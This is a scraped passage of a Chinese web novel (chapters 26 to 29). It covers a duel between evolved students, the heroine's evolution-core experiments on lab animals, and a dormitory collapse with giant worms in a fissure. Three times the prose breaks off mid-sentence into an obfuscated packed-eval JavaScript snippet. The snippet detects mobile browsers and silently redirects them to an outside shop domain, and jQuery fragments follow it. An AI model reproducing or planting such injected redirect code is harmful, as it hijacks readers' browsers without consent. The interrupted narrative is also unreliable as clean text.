林萤仔细看向长马尾,就见对方的头发又慢慢缩了回去,重新被主人用皮筋绑在脑后。不过,长马尾应该也不好受,她此刻面色苍白,气息也不稳,似乎刚才的动作耗尽了她的能量。 26. 神之千年杀 此刻,场上只剩下三名待选人员,像之前一样,裁判拿着纸条让他们抽取,出乎意料地,薛言又一次轮空了。 “我去,这小子运气也太逆天了吧!” “莫非他就是传说中的天选之子?” “这是躺赢,纯粹的躺赢,什么都不做就进前二了。” “这大概就是所谓的‘命运的推背感’吧!” “……” 不止林萤惊讶,围观的联盟成员和吃瓜群众也都连连惊叹,大家都被薛言这一而再的运气折服了。 就连一直默不作声的原初也出声嘀咕,“林萤,你这个‘朋友’是进化了幸运属性吗?” 林萤摇摇头,“不是啊,我记得他进化的是腿。不过,不是可以二次进化嘛,说不定他又进化了。” “他没告诉你吗?” “告诉我做什么?我们并不是很熟。” “噢……”原初似乎很愉悦。 林萤转过头狐疑地看了他一眼,又将视线转移到了比试场上。 既然薛言轮空,那么要比试的人就成了长马尾和矮个子。 由于上一场对决导致长马尾力竭,而矮个子又是个打不死的,所以这场比试很快就分出了胜负,长马尾被扯着头发溜了一圈,险些摔在地上,她率先认输败下阵来,成为第三名。 接下来,就是争夺第一名的对决了。 对决双方分别是薛言和矮个子。 连战几轮,众人已经对矮个子的招数熟悉了,现在都将目光放在了薛言的身上,方才他也出手过,但是当时比斗的人比较多,有一部分人没有注意他。 比试场上的人围成了一个大圈,将薛言和矮个子围在中央。 秋风萧瑟,卷起一片枯叶,对战的两人不由自主地拨弄了一下额前的发,而后朝对方抱拳。 “兄弟,我要开打了。” “打吧,可千万别手下留情。” 众人看得热血沸腾,直呼高手之间的对决从一上场便开始了。 林萤不自觉地往高台边上走了走,以便更近距离地观看这场比试,原初也挪了挪步子,紧随在林萤身后。 随着哨声响起,薛言率先发起攻击,只见他轻松一个起跳,双腿一弯,直直踢向矮个子的腹部。 这招,怎么说呢,先是蜷曲再是蹬出去,动作并不算雅观,也没有长马尾那招“美杜莎”一样的视觉效果。但就是这样平平无奇的一脚,却把矮个子踢飞到空中,接着重重地摔了下来,扬起一片尘土。林萤耳尖,似乎听到了骨头断裂的声音。 薛言乘胜追击,还未等矮个子爬起来,又是一脚踢了出去。 于是乎,众人仿佛看了一集动物世界:一个是腿很有劲的袋鼠,在不断地用自己强有力的腿蹬踢对手;另一个是被拖鞋拍打的蟑螂,每一次拍打,你都以为蟑螂死了,没想到拖鞋拿开的瞬间,那蟑螂竟扑棱着双翅朝你面门飞来…… 一个贼有劲,一个打不死,这场比斗足足持续了有十几分钟,还未分出胜负。 大家看得直打哈欠,但场上的两人并不轻松。 先是薛言,他可以肯定自己的双腿力量非常强大,但是支撑腿的脚还是以往的脚,所以只发挥出腿三成的力量,而他反反复复的蹬踢动作,已经让自己并没有进化过的脚有些麻木了,如今,只是简单的站立,便已经耗费了他大半力量。 再是小个子,他的恢复能力非常强大,但是也需要一定的时间,薛言反复地攻击他最薄弱的腹部,他的旧伤未好又添新伤,重重叠叠的疼痛覆盖在他的小腹上,让他不由自主弯下了腰,他知道自己要是再被打下去,绝对会瘫倒在地上。 场上的两个人默默对视,都从对方的眼神中看到了决绝之色——一决胜负的时候到了! 薛言轻轻活动了一下脚腕,后脚掌猛地蹬地,箭一般地朝小个子奔跑过去,而后纵身一跃,离地莫约三四米,其后双腿一蹬,从上方径直地朝小个子的腹部袭去。 薛言自身的重力加上腿踢出的力量,这一下如果真的踢在小个子身上,小个子的肝脏绝对会瞬间破裂。 “快躲!” 众人都惊呼起来。 而地面上的小个子则是勾唇一笑,他不躲不避,反而双手合掌,竖起了两根食指,在薛言即将落地的那一刻,对准了他的裤子中央,轻轻将食指向前一推。 顿时,场上响起了薛言杀猪似的嚎叫声。 “——啊!” 众人都惊呆了,林萤更是瞪着眼睛,她身边的原初身子一抖一抖,而后“噗嗤”一声笑了出来。 ——神TM千年杀! 这个时候,这种招数,是可以用的吗? 场上,占了便宜的矮个子很快就被薛言压在了身下,后者羞极恼极,干脆改腿为拳,一拳一拳砸向矮个子,拳拳到肉,砸得他鼻血横流,牙齿也险些脱落。 “哔——哔——” 一阵哨声响起,裁判和一帮黑帽子将薛言和矮个子拉开,而后一群人聚在了一起,似乎在商量着什么。 林萤呼了一口气,“走吧!” 原初跟在她的身后,快走两步,与她并排行走。 “你就不好奇,最后他们谁会得第一吗?” “不关我的事,这是他们内部该操心的问题。” “可你刚才看的津津有味。” “彼此彼此,你刚刚的笑声都吵到我了!” “我笑是因为好笑,那么你呢,刚才还笑嘻嘻的,现在为什么看上去这么严肃?” “不是严肃,我只是在认真地想事情。”林萤顿了顿,反问原初,“你刚才有没有看到,那群观众里有不少老师,他们看到了学生打架的行为,但是却并没有去阻止,只是在人群中默默地观看。你知道这意味着什么吗?” “你说。” “这意味着,不论学生之间的争斗,或者成立类似“联盟”阵营的组织,这些,通通都是被默许的,或者可以直接说,是被允许的。在这之前,我似乎是个保守派,我一直在怀念以前那个还没有暗星的日子,但是现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660078|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我不想了,因为也回不去。我要往前,我知道,一个新的时代真的要来临了。” 原初突然停下了脚步,他侧过身,低头看向林萤,透亮的眼中噙着一抹笑意。 “是的,林同学,但你的说法有误,不是要来临,而是已经来临了。” 林萤一时说不上话来,就见原初突然弯下腰,像个经验老到的芭蕾舞者一般,一只手背后一只手做出邀请的姿势。他的指尖莹润而饱满,修长手指像微风中的荷叶,微微晃动着,就像在等待蜻蜓的降落。 “欢迎来到新世界,女王陛下!” 林萤看着他滑稽又带着一丝优雅的动作,忍不住弯了弯嘴角,抬起手飞速拍了一下他的掌心。 “谢谢!原医生,这个称呼我喜欢!” 说罢,她快速走出操场。 原初看着自己被打红的手心挑了挑眉,而后跟上了前方那个瘦高的身影。 林萤边走边思索,自己以前对进化的预测太过保守了,她总是将进化局限在身体机能上,但经过这一下午的观察,她发现进化似乎有无数种可能,哪怕再离谱再不可思议,都属于进化的一种。 林萤明白这是长久以来的、传统的、教育理念中的进化概念限制了她的思路,她打算从现在开始,把以前学的全部抛到脑后,像一张白纸一样,去接纳这个拥有无限可能的新世界。 一旁的原初看了眼时间,开口提议,“已经五点了,我们直接吃晚饭吧?” “已经这么晚了吗?”林萤飞速瞥了一眼手机,“不吃了!我还得去一趟实验室,再见!” 说完,她向前跑去,跑了两步,又回过头,朝原初挥了挥手,接着转过身继续奔跑。她的速度很快,不多时,便消失在了路的尽头。 原初看着空无一人的小路,一边笑一遍道:“真有活力啊……” 林萤来到实验室的时候,恰逢张老师正往出走。 “张老师!” 林萤喊了一声,快步走到门口,张老师见是她,把刚刚关了一半的门又推开了,同时打开了实验室的照明。 “林萤,你怎么这会儿才来?” “刚刚有一场进化者之间的比试,我去看了看。” “怎么样,精不精彩?” “真的让人大开眼界!”林萤连连点头,“老师,您不知道,还有进化了头发的!要知道,头发丝是角蛋白构成的,本身没有细胞,也不会产生代谢活动,它不属于生命物质,但是,进化后的头发每一根都像是有自己的想法,这简直是把我们传统生物学按在地上摩擦!不瞒您说,我现在觉得生物发生律(生命只能来自于已有的生命)也可以被改写,腐肉生蛆是可能的,脏衣服里也能长出老鼠……” 林萤说着,越说越兴奋,直到她注意到张老师的眼神。 实验室的灯光白到发冷,凉凉的灯光下,老师的眼睛仍是笑着弯着的,可是他看上去却那么悲伤,他好像在笑,又像极了哭泣,如果遮住他的眼,单看他的下垂的嘴角,他的的确确是在伤悲。 27. 宿舍楼坍塌 “老师……老师,您怎么了?” 张老师抬手抹了一把脸。 “没事,做实验的时候忘记带护目镜被熏到了,我得赶紧去洗洗!”说着,他将一串钥匙放到了林萤的手里,“实验室的钥匙先给你,记得去观察一下动物那边,JH-JHFY目前似乎只有斑马鱼能吸收。” “JHFY?” “这么快就忘了?你之前还给过我一份,进化废液,就是你和唐诗命名的那个。” “诶?您居然和唐医生认识,我都不知道!”看着林萤惊讶的样子,张老师咧开嘴笑了笑,“你不知道的事情还多着呢!好了,快去吧,别熬太晚。” “嗯,老师再见!” “再见!” 告别张老师,林萤走进了实验室。 她仍然在想着刚才的事情,她可以肯定自己没有眼花,实验室里似乎也没有放置什么会让人流出眼泪的试验物品,张老师刚刚就是在难过。林萤皱了皱眉,难道是刚才自己说的那句“传统生物学被按在地上摩擦”让张老师伤心了?林萤摇摇头,很快否认了自己的看法,张老师对新事物的接受速度比自己还要快,根本不可能因为一句玩笑话就伤心。 林萤换上实验服,先看了一轮同门们培养出来的杂七杂八的细胞,又来到动物实验室,在这里,她看到了老师口中所说的斑马鱼,立即就将刚才的小插曲抛到了九霄云外。 斑马鱼素有“水中小白鼠”之称,是动物实验室的一大助力,但这些被注射了进化废液的斑马鱼显然与平常的斑马鱼有所不同,它们的个头比较大,眼神凶悍,攻击性也更强——林萤注意到,张老师特意将这些斑马鱼分缸放置,将它们一一隔开,防止撕咬。 她翻看了一旁的观察日志,日志上的记录佐证了她的看法。 除斑马鱼之外,小鼠、大鼠、线虫、果蝇以及细胞微生物,都在注射了进化废液后失去了生命体征,只有斑马鱼还活着,而且已经活了一个多星期,看它们现如今的样子都很健康,不出意外应该能继续活下去。 林萤看着眼前的游鱼——这么多实验体,为什么只有斑马鱼活下来了,难道因为它在水里? 林萤凑近斑马鱼的养殖缸,里面那条正在悠哉悠哉游动的斑马鱼对这个突然靠近自己的庞然大物似乎很不满,隔着鱼缸便对林萤发起了攻击,一下接一下撞击着缸壁。 是水稀释了进化废液的浓度,所以斑马鱼没事? 目前确实不能排除这种可能…… 林萤从冷冻库里拿出一小份进化废液,小心翼翼加了点水进去,然后分别注射给几只线虫,然而很快,这些线虫便死掉了。 林萤想了想,又注射了几只线虫,并将它们都放进了水里——线虫是可以在水里生存一段时间的。 只是,不多时,这些线虫也全部死掉了。 是水不够多的原因吗? 林萤按照不同比例反复操作数次,几乎要将实验室里现存的线虫全部嚯嚯完,才得出了一个并不算严谨的结论——注射了进化废液的线虫,不论怎样,都活不久。 所以,斑马鱼活着,大概率不是因为水稀释了进化废液。 林萤想了想,从养殖缸中选出一条最大的斑马鱼,手起刀落,熟练地将这条不幸的斑马鱼剖开。 她在灯下仔细地找寻着,不多久,便在这斑马鱼的胸腺里发现了一个极其微小的进化核。 果不其然,斑马鱼在注射进化废液后发生了进化,而且它进化后也会长出进化核! 林萤将进化核放在指尖,隔着手套捻了捻,原本硬邦邦的进化核顿时被碾成了粉末,而后全部被她吸收了。这进化核太小,吸收后手指没有任何不适,林萤长舒一口气,幸亏她没有在医务室碰过那些从人体里拿出来的进化核,不然还真没法解释自己为什么可以吸收它们。 林萤想了想,又捞出一条斑马鱼,取出进化核,再从旁边的盒子里逮住一只大鼠,将它麻醉,接着打开它的腹腔把这颗进化核放了进去,迅速缝合后,将这只昏迷的大鼠单独放进一个试验箱,一眼不眨地在旁边等待它的苏醒。 大约过了半个小时,大鼠有逐渐清醒的痕迹,林萤乘它还迷糊着,给它喂食了止痛药和抗生素,一番折腾,大鼠完全清醒,它醒了也不动,只是静静地趴在垫料上,粉红的鼻尖一吸一吸。 林萤一边观察一边记录,等了两小时后,给这只大鼠放了一些食物和水。林萤特意将食物放得远了一些,就见这只大鼠嗅了嗅,慢慢地朝食物的方向爬过去。 起初它应该是很痛,每走一步,都要停一阵,但紧接着,它的伤口就像是突然愈合了,连带着大鼠的身子也猛地涨大了一圈,本来巴掌大小的体型现在快赶上一只小猫了。 林萤目不转睛盯着它,就见它后腿一蹬,直接跃到碟子旁边,一口将食物吞了下去,紧接着一双赤红的小眼睛左顾右盼,尖尖的鼻子来回嗅,似乎是在寻找什么,直到它看到了林萤。 它先是用尖锐的前爪猛抓试验箱,将箱子侧面抓得满是划痕,又用硬邦邦的脑袋直直冲撞布满划痕的地方,“嘭——嘭——”连撞数下,原本结结实实的试验箱被撞得微微凸了出来。 大鼠的异常引得实验室其他动物躁动不安,林萤看到斑马鱼在不断试图跃出水面,小鼠们“吱吱”叫着在笼子里来回乱窜,而那些剩下的红线虫也像沸腾的红豆粥,不停地翻动起来。 林萤知道不能再等了,这只大鼠已经进化,而且似乎对她充满了敌意。她打开试验箱,在大鼠张着利嘴即将扑上她面门的那一瞬,紧紧捏住了它的尾巴尖,上下抖动迅速甩了几下,而后乘着它晕头转向之际,一刀削掉了大鼠的头。 整个实验室立即安静下来了,原本躁动不安的动物,也似陷入了沉睡,有几只鱼甚至沉到了水底。 林萤一边解剖大鼠一边暗自思量,这些动物,似乎都变聪明了……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665346|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 将大鼠体内的进化核吸收后,林萤得出了一个不算成熟的结论:进化核可以移植,但作用在不同个体上,效果也不同。那么,人和人之间也是可以交换进化核的吧? 林萤将自己方才的试验一一记录下来,片刻后,她伸了一个懒腰起身准备离开,却在走到门口的时候又回头看了眼实验室里的动物——将它们这样放置着没有问题吗?万一哪只像刚才大鼠一样变成不可控的存在怎么办? 思量再三,她留了下来,却在打了一个盹之后接到了杜煦的电话。 “林萤,林萤,别睡了,快起床!”杜煦的声音听起来十分慌张,她气喘吁吁,伴随着“嘭嘭嘭”的声音,好像正在敲打着什么。 “嗯?”林萤坐直身体,“杜煦,我在实验室,怎么了?” “你在实验室?太好了!我还以为你睡死了,正在敲你们宿舍的门呢!”说着,杜煦似乎奔跑起来,她一边跑一边说:“林萤,快下楼去操场,地震了!” 林萤站起身,看了看实验室桌上四平八稳的水平仪,又看了看稳稳挂在墙上的仪器操作指南,疑惑回答道:“没有啊,哪里地震了?” “宿舍楼!宿舍楼……不对,好像只有宿舍楼在震,天哪!林萤,别回来!” 杜煦说完,将手机揣进兜里,她还穿着睡衣,方才太着急,鞋也来不及换,只能用脚趾抠紧棉拖鞋的鞋底向外跑去。期间,她听到窗户玻璃碎裂的声音,钢筋拉拽的“咯吱”声,混凝土碎裂的声响,而后是楼板沉重的坍塌声,继而整个宿舍楼左摇右摆,让人站不住脚。 走廊上的灯明明灭灭,天花板上的水泥在不停地脱落,杜煦一个健步穿过走廊来到楼梯口,就听到身后一声巨响。 她下意识回头看去,瞬间吓白了脸,她的身后是一个巨大的水泥块,水泥块下方有一个倒在血泊里的女生,那块水泥正中她的百会穴,将她的脑袋砸扁,脑浆都迸了出来。这显然是一个很胆小的女生,在巨大的恐惧前发不出任何声音,只凭着本能紧跟前方的人,想要求生。 杜煦深吸一口气,扶着墙哆哆嗦嗦向下走去。 “滋滋……”一阵火花,头顶的灯闪了两下,接着,“刺啦——”一声,整栋大楼的灯全熄灭了。 乍一陷入黑暗,杜煦的眼前只剩无边无际的黑色,失去了视觉,她的听觉却格外灵敏,她听到了一阵微小的、细细密密的摩擦声,像是有人托着数十条水管在路上行走,又像是毒蛇贴着地面在蜿蜒爬行。 “喂?杜煦,杜煦,你还能听到吗?”林萤捏着手机冲出实验室,她顺着楼梯极速奔跑,原本需要五分钟的路程她只用了不到一分钟,就在刚跑到实验楼大门口的那一刹那,她感觉整个地面震动了一下,接着便是一声沉闷的巨响。 借着天空中两个星体的光,林萤看到一大团黑色的灰尘从宿舍楼的方向缓缓升起,而后迅速向四方蔓延开来,她来不及多想,向着那处冲了过去。 28. 巨大型蚯蚓 临近了,林萤看到许多女生在路边哭泣,她们应该是刚刚从宿舍楼里跑出来的,眼下都又惊又俱。其中有一个身影分外熟悉,那是和杜煦同一个寝室的女孩,名叫徐佳妮。此刻,她披散着头发,一个人孤零零站在一棵榕树下,怀里抱着一条大毛毯,正眼巴巴地看向宿舍楼。 “佳妮?”林萤试探着叫了一声。 徐佳妮循着声音看过来,见是林萤,一愣,“林萤,你没在宿舍吗?” “嗯,我在实验室,今晚没回宿舍。杜煦呢?” 徐佳妮的脸色“刷”地一下变白了,她颤抖着问道:“她不是去找你了吗……对,你没在宿舍,但是她不知道,我让她先跟我一起出来,可是她非要去找你……”徐佳妮一直在说着,越说声音越小。 林萤和杜煦的宿舍都在三楼,相较而言,杜煦的宿舍距离楼道更近一些,若不是去找林萤,想必杜煦和徐佳妮一样,现在都平安地站在宿舍楼外。 “林萤,都怪你,杜煦第一时间就给你打了电话,可你不接,你要是早点接电话,她不至于……” 林萤看向手机,她一直没有挂电话,杜煦那边也没有,所以现在仍是通话中,她将耳朵贴在听筒上,又呼唤了两声杜煦的名字,然而那边并没有回应。 “林萤,你有没有听我说话?”徐佳妮压抑的情绪似乎找到了一个宣泄口,她向前一步跨到林萤正对面,一双手紧紧掐住林萤的手臂,眼睛狠狠瞪着林萤,身上的毯子掉在地上了也不在意,“都是你的错,林萤,杜煦要是出事了,你至少也要负百分之九十的责任!” 徐佳妮的声音很大,盖过了旁边同学们的议论声,大家都带着惊魂未定的眼神看了过来,而徐佳妮则是死死盯着林萤的脸庞,似乎是想从她的面上看到愧疚。 林萤没有说话,她只是抬起手,轻轻拿开徐佳妮掐在自己小臂上的双手,又弯下腰捡起掉落在地上的毯子,抖了抖,披在徐佳妮的身上,随后转身迈着大步朝宿舍楼的方向走去。 “喂,林萤,你……”徐佳妮似乎还想说什么,却被一声巨大的响动打断,她吓了一跳,闭着眼捂上耳朵,再睁开,眼前已不见林萤的身影。 半分钟后,林萤来到了宿舍楼前,此时的宿舍楼已经看不出原貌了,它从中间裂开一条巨大的缝隙,就像是被巨斧劈开一样,一半陷在地下,一半残垣断壁,外墙的瓷砖成片地脱落,坠在地上又摔成两半。原本有六层的楼,此时看上去只剩四层了。楼顶一根细细的钢筋露在外面,像尖尖的针头,直直地扎向夜空。 尘土太大,尽管林萤捂住了鼻子,可一股股土腥气伴着碎沙石接连不断地打在她的脸上,使得她的鼻腔里充斥着泥味。不,不止这些!林萤鼻翼微动,她从这股泥味中嗅到了一丝不一样的味道,那是一种腥臭的酸腐味,就像是动物尸体发酵后的味道。 ——怎么会有这种味? 林萤正在思索,余光看到不远处楼管阿姨和学校的安保正拉着一条警戒线走过来,一边绕着宿舍楼安放一边驱赶周围的学生,“同学们,小心地面下陷,快往远处退!” 来不及细想,林萤绕到宿舍楼背后一处无人的角落,抬头看去,面前不远处有一排寝室,阳台的玻璃全碎了,一些残渣仍然挂在窗框上,在月光下闪着冷光。林萤纵身一跃,跳上阳台,踢开被压得变形的阳台门钻了进去。 一进来,林萤就感觉脚下一震,整个地板开始倾斜,原本就杂乱的物品通通往一边倒去。林萤忙蹲下身,尽量保持平衡,她知道,这是发生了二次塌陷。 眼见整座楼还有继续倾倒下去的架势,林萤不敢托大,决定立即行动。 一路上,那股腥臭味挥之不去,林萤直接撕下一块衣角蒙住口鼻,而后放慢呼吸朝楼道走去。这里应该是四楼,楼梯在中间。按照杜煦的速度,她现在应该在一楼或者二楼的楼梯间,如果她的脚程快一些,甚至应该更往下。也就是说,杜煦现在所在的地方已经被埋在了地下。 林萤一边躲避掉落物一边来到楼梯间,果不其然,楼梯已经从半腰断裂开来,护栏也早就脱落不见,原本宽阔的楼梯荡然无存,只剩扭曲的钢筋上挂着摇摇欲坠的水泥块,根本无处下脚。 林萤试探着迈出一条腿,踩在靠近墙根的半块水泥上,还未等她踩稳,又是一阵地动山摇,她左右晃荡,险些摔下去,全靠左手使劲抓住墙面,将墙扣出了五个深坑,这才没被甩出去。 看着墙上的坑,林萤心下微动,她乘着下一次坍塌还没有来临,迅速用手扣着墙向下走去,行至半中腰,她纵身一跃,跃到只剩下一个三角的缓步台,而后如法炮制,向下行去。 三楼、二楼、一楼…… 正当林萤要松一口气,突然从她的头顶传来一声巨大的响动,一大块楼板砸了下来。林萤飞速向前想要躲避,可离得太近,还是被楼板夹着的钢筋划破了小腿。 林萤挽起裤子,就见伤痕有近一指长,血滴滴答答落在地面上,伤口里面的肉也翻了出来,好在没有伤到骨头,她立即扎紧裤腿,又将袜子脱到脚踝处,疼痛阵阵袭来,林萤咬紧下唇,她感觉自己需要一针破伤风。 更为糟糕的是,林萤又闻见了那股酸腐味,而且味道愈来愈烈,伴随着极其轻微的、黏腻的摩擦声,好像有东西来了,但是应该离得并不近。 林萤暗自思索着,而后突然想到了什么,“嗖”地起了一身鸡皮疙瘩。 不对!这个东西已经离自己很近了!只是因为“它们”的动作非常轻柔和缓慢,所以发出来的声音很小,让自己有了距离还远的错觉。 ——这个东西,就在自己的身边! 意识到这点,林萤顿时警觉了起来,她先缓缓收回受伤的那条腿,后背紧紧贴住墙面,另外一只脚蹭着向后走,而她的目光则是投向声音的来源。 林萤看到黑暗中,一条条长长的巨蟒似的生物贴着墙根爬了过来,聚集在方才那块砸下来的楼板周围,争先恐后地朝楼板下拱,有些爬的慢的争抢不到位置,直接张开横裂状的口器,一口咬向自己的同伴,紧接着,它们便扭打在了一起。 这圆柱形的一环一环相套的躯体,棕红的颜色,细小的刚毛,以及那没有牙齿的原始口器,加上这个腥味,怎么那么像……蚯蚓?! 林萤带着疑问又打量了一遍那些“巨蟒”,这下子可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670148|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 以确定,这些长长的、水管一样的生物,不是别的,正是放大版的蚯蚓。 此时的蚯蚓不比以前弱小的模样,林萤看书上说,最大的蚯蚓能长到一米多,但是这里的蚯蚓,目测最短也有两三米,个个有碗口那么粗,乍看上去像是一堆巨蟒。 不过,知道这是蚯蚓后,林萤倒是没有先前那么担心了,毕竟蚯蚓没有牙齿,没有坚硬的颚,无法咬伤别人,最多就是把皮肤吸个小红点,不,大红点。 另一边,一大群蚯蚓仍旧在拱那个楼板,不断争抢,并且开始陷入厮杀,它们攻击对方的方式与蛇有些像,口器吸着,身子扭着试图绞杀对方。林萤看到有一条蚯蚓被挤得爆了浆,它的血肉飞溅开来,其他蚯蚓被这股味道吸引,像蚂蟥一样,张开大嘴吸附在了这只蚯蚓的身上。 只用了不到一分钟,原本圆溜溜的蚯蚓就变成了一张烂皮,一个圆溜溜的物体顺着皮上的伤口滚了出来,滚到了林萤的腿边,被她用脚尖轻轻踩住。 这是……进化核! 林萤瞬间便想明白了,这些是进化的蚯蚓!一开始它们聚集在楼板下,是因为楼板砸伤了自己的腿,伤口流了血,血腥味吸引了蚯蚓群。蚯蚓原本以腐烂的有机物为食,现在却变得嗜血,也更富有攻击性。 林萤想到这里,一边将进化核捡起来碾碎吸收,一边蹲下身查看自己的伤口,就见自己的小腿光滑如初,只有短袜边上有一点点血的痕迹。难怪这些蚯蚓只顾着吸食楼板下的血液,完全不顾自己这个大血包,自己竟然也有了自动修复的能力! 来不及欣喜,林萤又看了一眼兜里的手机,她的手机已只剩半格电了。想了想,她从地上捡起一块碎石,用力向远处一砸,就见碎石砸在了墙面上,“咔哒”一声又落到了地上,而这些蚯蚓似乎听到了响动,纷纷向那边蠕动过去。林萤默了默,蚯蚓对声音有反应,也就是说自己不能给杜煦打电话,电话的声音会引起蚯蚓们的注意。 林萤不怕这些蚯蚓,不代表杜煦不怕。 片刻后,蚯蚓潮逐渐退去,就好像刚才什么都没有发生过一样,只有地面上还留着湿哒哒黏唧唧的痕迹。 林萤悄无声息地跟在这些蚯蚓身后,走出楼梯间,来到一处较大的空地,空地边上有一个小房子,此时已经塌了一半,只一眼,林萤便知道这是宿管阿姨的值班室,而自己现在正位于一楼大厅。就见地上全是脱落的墙皮和砖块,原本平整的地面凹凸不平,有些地方甚至裂开了一条巨大的缝隙。 越靠近那些缝隙,腥味越大,林萤眼睁睁看着那帮蚯蚓大军顺着地面上的一条裂隙钻了下去,却没有立即追上去,实在是,太臭了! 就像是一千个臭鸡蛋聚集在一起,又加上了臭葱蒜腐烂的味道,间或一阵臭榴莲和煤油味。只一口,便要将人送上西天。 林萤本不打算追下去,却在看见裂隙旁一个歪歪斜斜的东西时脚步猛地一顿。 那是一只毛绒拖鞋,鞋面上有一只立体的卡皮巴拉,原本棕色的绒毛如今脏兮兮,灰一块,青一块。林萤认得这只拖鞋,它是杜煦的,买下它的那天,杜煦还特意穿着新拖鞋来到林萤的宿舍“炫耀”了一番。 29. 非阳间生物 难道说,杜煦掉进裂隙里了? 林萤顾不得那么多,她先是大声呼唤杜煦的名字,然后飞速换了一个角落,又开始呼唤。林萤共喊了三声,却始终没有得到回应,倒是那些被声音吸引的蚯蚓,又如潮水般从裂隙里涌了上来。 这次,林萤没有手下留情,她三根手指夹着几块碎石,“嗖嗖嗖”打出去,每一颗石子都精准命中一条蚯蚓,将它们薄薄的皮打穿,血肉的味道顿时引得其他蚯蚓躁动起来,它们稍尖的头挤在一起,口器紧紧贴着同伴的伤处,大口吞咽,似乎把这几条受伤的蚯蚓当成了吸吸果冻。 林萤见状,又是几个石头飞了过去,蚯蚓潮顿时沸腾起来。 确保没有蚯蚓注意到自己,林萤捂紧口鼻,趴在裂隙口向下看去。然后猛地闭上了眼睛,太臭了,臭的熏眼睛!林萤揉了揉眼,一股生理泪水涌了出来。林萤确定自己的眼睛进化过,并且拥有了常人不具备的能力,比如说远视、夜视,所以她在四周都没有灯的情况下,也能看清不少东西的形状和色彩,这也是她敢跳下来寻找杜煦的原因之一。 只是,这缝隙里不知是什么气体,竟然如此之臭,看来自己必须加快进度,如果杜煦真的掉进这个裂隙里,单是呼吸,恐怕就会致死……不对!林萤看向那些生龙活虎的巨大蚯蚓,如果里面的气体有毒,那么它们为什么会没事? 想到这里,林萤又给自己鼻子上加了一层布,然后单手抓着裂隙的入口,将一个石块扔了下去,接着竖起耳朵,一边默默计时,一边注意听石头落地的声音。 一秒、两秒! “梆!” 石头落地大约用了两秒的时间。 林萤暗自计算了一下,根据自由落体公式?高度h=1/2gt^2,设g为10,t为2,那么从缝隙到下方大概有20米高,也就是说,从这里跳下去,相当于从6楼跳下去。 思及此处,林萤又看向那堆蚯蚓,它们是怎么做到从这里下去还能上来且没有摔成肉饼的,难道下方另有乾坤?可是,林萤瞪大眼睛看向裂隙里,下方似乎有浓重的雾气,眼前的一切都像是加上了烟雾特效,根本看不清。 然而,还没等林萤想清楚,整个地面又剧烈地晃动起来,并伴随着下陷和又一次坍塌。林萤飞速远离裂隙,跑到大厅的拐角处,靠着墙根蹲了下来。这里有一个掉落下来的巨大石板,与墙角正好形成一个三角形的支撑,林萤便躲进这个天然的屏障里,等待震动的结束。 此时,林萤所在的地方大约位于地下十四五米左右,下方还有二十米的悬空,如果不出意外,坍塌还会继续。不论怎么想,杜煦都是凶多吉少。 自己的这副身躯还是太脆弱了,若是能扛得住这些石块,抵得住那些毒气,那该多好! 林萤抱着头,自进化后第一次对超能力产生了极度的渴望。不由自主,她将目光移到了那群同样缩在一起的巨大蚯蚓身上,就见它们也顾不上吃了,纷纷用身躯缠着大厅里的石块,以防被甩出去。 待晃动停歇后,林萤一边捡石头一边攻击蚯蚓,同时捡起地上掉落的进化核,顾不得擦去上面的黏液,直接碾碎吸收,林萤粗略地数了一下,这一番她大约吸收了20枚进化核。 待只剩下两条大蚯蚓后,林萤停了手,她用石头将它们驱赶至裂隙处,想要观察它们是怎样下去的。 就见那两条蚯蚓来到裂隙处,前面的那条先是将尖尖的头探下去,而后左右摇晃着,似乎是在寻找什么,紧接着,它似找到了依靠物,不再摇摆,而是蠕动着身子,环肌一收一缩,向下爬去。另外一条蚯蚓紧跟在它的身后,也一同爬了下去。 林萤将整个上半身探进去,只靠手抓着裂隙的边缘,她侧过头望去,就见蚯蚓爬去的方向有一根石柱,大约有两米粗,石柱的下方看不清,林萤猜测,它应当是直通底部的,并且能支撑住这么多条巨大蚯蚓攀爬,想必承重也是可以的。 思及此处,林萤将上半身收了回来,先探出双脚,悬坐在裂隙一侧,而后径直一跳,腰腹向石柱的方向用力,同时后脚一蹬,双掌向前探去,在下降了约五米后,终于攀上了石柱。 林萤深长呼吸,之后迅速向下爬去,后知后觉,她发现地底没有那么臭了,眼睛也没有之前那般烟熏火燎的感觉。 ——是地底毒气没了,还是吸收了进化核的原因?林萤更倾向于后者,因为眼前仍是有大片大片的雾气,可见臭气的浓度并没有减弱,那么就只能是这些进化核的功劳。林萤打定主意,如果等下再碰到蚯蚓大军,她一定不会手软。 